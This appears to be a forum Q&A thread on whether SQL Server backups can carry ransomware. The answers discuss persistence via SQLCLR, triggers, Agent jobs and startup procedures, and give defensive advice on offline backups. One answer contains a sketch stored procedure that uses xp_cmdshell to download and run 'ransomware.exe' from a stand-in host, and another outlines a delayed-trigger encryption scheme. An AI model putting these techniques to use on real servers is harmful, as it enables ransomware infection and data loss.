15

One of the best protections against ransomware is to back up all of your database files to a completely separate system. Which we have done.

But one thought is the backup of the database could potentially now contain the ransomware. Is this possible? This is a 2016 SQL Server native created .bak. Or is it impossible for ransomware to embed itself into a backup file?

0

5 Answers 5

5

Yes. I've never seen this though.

SQL Server has a feature where you can write stored procedures in C#. We looked into using it once. As of a few releases ago, this feature is turned off by default.

So if ransomware turns the feature on, and converts some stored procedures to C# and adds itself, when you restore the backup you will get an error trying to use said stored procedures, and probably turn it on for it. Then the C# code will run.

Now here's where it gets juicy. There have been so many sandbox escape vulnerabilities that MS gave up and deprecated Silverlight and turned off the .NET Stored procedures in SQL Server by default. It would be ill-advised to assume that just because you can't find one that works today there aren't any more left.

A slightly more realistic attack would be modifying a SP that does something along the lines of

IF (session is admin)
BEGIN
    -- xp_cmdshell is off by default but this is a speed bump; SQL can just turn it on
    -- I've done it before because I had to put up with surface area configuration broken, but I'm not writing it here
    xp_cmdshell 'powershell wget https://badsite.com/ransomware.exe'
    xp_cmdhsell 'ransomware.exe'
END

and then just wait for some sysadmin to execute it. Backups restored on temporary instances rarely are used by properly restricted users. On the other hand, said ransomeware is going to need to be pretty worm-like to get anything that can't just be wiped.

22

Never say never, but since backups aren't executable files and contain no directly executable code (they're about the data, not the SQL Server software itself) I would think the risk is very, very low. It would be more likely that your backup files would be the target of the ramsomware rather than the agent of infection. Anything executable would have to be executable from within the database, like a stored procedure. There are far more effective and direct ways for ransomware to spread.

9
  • master is effectively executable, as is msdb May 13 at 5:07
  • 2
    Without a SQL Server ecosystem to run it? It isn't compiled binary code itself and any malware embedded as a stored procedure can't self-replicate or do anything harmful without taking advantage of a weakness or misconfiguration of the underlying database engine, or the gullibility/inexperience of the DBA.
    – pmdba
    May 13 at 10:31
  • 2
    If a bug is discovered in the SQL Server, a backup could be modified to abuse that bug and install malware.
    – Tvde1
    May 13 at 10:55
  • Also requires an actual SQL Server ecosystem, and an insider threat or another attack vector (i.e. the bug) to exploit it. If I've already hacked the system, why infect the backup at all? In general the backup's contents would be far more likely to be the target of a ransomware attack than the actual attack vector. There are much easier ways to get malware onto a system, like simple social engineering. Not that it couldn't be done, but if you've eliminated everything else and this is your primary concern then you're probably doing a better job of cyber security than most others already.
    – pmdba
    May 13 at 11:18
  • You mentioned "SQL Server ecosystem" that is required a several times, but I don't understand how a sql server database backup can be useful to anyone without "SQL Server ecosystem". It's like saying that anything on an external hdd is safe because it's not plugged in. May 14 at 12:48
12

What you typically have to worry about is ransomware finding your backups on the network and encrypting them. When ransomware hits your network, it typically propagates quickly, and locks down everything it can find. If the ransomware obtains domain admin privileges, this typically happens in a matter of minutes.

Worst case scenario, ransomware takes your database server offline, and encrypts all backups as well. If you don’t have offline copies of your backups, it could be challenging, if not impossible, to recover from it. To truly protect yourself, make sure you’re keeping offline copies of your backups.

5
  • I don't understand why admins of critical systems don't rotate backup drives online and off-line. When ransomware appears, you just disconnect from internet and restore from backups that were unplugged at the time it happened. Only thing you lose is work done since the backup was disconnected.
    – WGroleau
    May 14 at 21:47
  • Most modern databases perform incremental backups more often than full backups, and have Recovery Point Objectives that would make switching drives impractical, if not impossible. A more common practice would be to make multiple copies of the backups, say to tape or a cloud storage bucket (object storage, not file storage) that would be safe from malware.
    – pmdba
    Jul 9 at 11:53
  • My comment was in response to @WGroleau. You suggestion is entirely right.
    – pmdba
    Jul 9 at 11:58
  • @pmdba make sure you tag them then, or they won’t get notified of your comment. I only got notified because you commented on my answer. Jul 9 at 12:00
  • @BrendanMcCaffrey yeah, by the time I realized my mistake, the window to edit the comment had closed. Thanks.
    – pmdba
    Jul 9 at 12:03
5

Apart from @Joshua's answer on SQLCLR procedures, there are other places that viruses and ransomware can worm into:

  • Database level DDL triggers, which would have the benefit of being executed by a DBA, who probably has sa rights.

This leads on to some more pernicious places:

  • The msdb database, in particular the SQL Server Agent Jobs tables, where it could set up a scheduled job to run at particular intervals. This could be in T-SQL, or in Powershell.
  • It could worm into the master database. If it got into here, there are a few different places it could hide:
    • It could set a DDL trigger, the same as any other database.
    • It could set a Logon trigger, which would execute every time someone logs on, which I think executes as sa.
    • It could set up an Automatic Execution procedure, which runs on every start-up. This is done with the sp_procoption system procedure.
  • It could worm into tempdb, where it could set up a DDL trigger to fire every time a temp table is created. tempdb is not backed up though.
  • It could hide in the model database, ready to pop out next time you create a new database.

None of these things are possible if permissions on these databases are not changed, and the virus never gets sysadmin rights, which admittedly is difficult to prevent.

Note also that the account that SQL Server runs under should be a limited service account rather than SYSTEM, which would prevent a complete compromise of the server operating system if SQL Server is compromised in the above fashion.

Note further that if there was a compromise of the operating system up to Administrator/su level, consider all the above SQL Server locations suspect. Best practice would be to build the system databases from scratch.

0
2

Generally, ransomware runs as a program in your operating system, encrypts files (possibly depending on file type), and, if you're lucky, doesn't leave any time bombs in decrypted exe files later.

However, ransomware could directly target a database, although I'm not aware of any which does that (yet). This would likely be a targeted attack, not a general one, as general attacks try to find as many targets as possible, and there are many more general servers/PCs than database servers.

If I wanted to write some ransomware to target you directly, I'd write a stored procedure and attach it to a trigger somewhere. Make the stored procedure do nothing for a week or two after infection, to make sure current backups contain the stored procedure as well. After two weeks, the stored procedure would start to encrypt your database tables. Make an encrypted copy of every table, which would take a while, then drop the original tables, at which point you'd notice something is wrong.

In that scenario, all your full backups would have the stored procedure and trigger as well, so after restoring a backup your database would seem normal for a while, until the trigger hits again.

Of course, the stored procedure would normally not be able to access your file system (but beware of databases that allow file system access), but a database that becomes unusable every few days is bad enough for your organization.

If you are able to do a clean install of your software, and create an empty database according to vendor specs, then restore just the table data (basically, a restore that contains only DML, no DDL statements), you'd get rid of the ransomware.

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.